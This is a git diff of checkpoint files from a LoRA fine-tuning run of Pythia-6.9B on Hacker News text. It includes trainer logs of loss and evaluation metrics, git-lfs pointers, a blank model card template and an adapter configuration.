"eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.68461815267328e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..972e9f6c2aa2ec17261c435c470d3fc7f9952548 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a6b8d82a41215ee08c80d5e7b762ea10e752793b670c738b405a70f6965a3f06 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..66a7225ff5cb7199301bdb631d0ce06c873d2c32 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:94d4fd9377dbaea34f74e23aec4619bbcebe229275b0c3ac29422876c8b094a4 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..8d48caf21e655a01d7675a2b465c934cea676943 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:816bfad4f86e01da7fe3bd5bf7d10c902cf135a5b5fec9e0170158290fe5828c +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..4191ea1c11397f76dbbb9677283fd3b541b6e689 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:61e7bf31ab25b6a7b2f0902a2e1f6ca5545ad296580f627246378508da64fa41 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a10304635895c7b94270b19482419a76ad49867d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/trainer_state.json @@ -0,0 +1,843 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.2, + "eval_steps": 10, + "global_step": 540, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 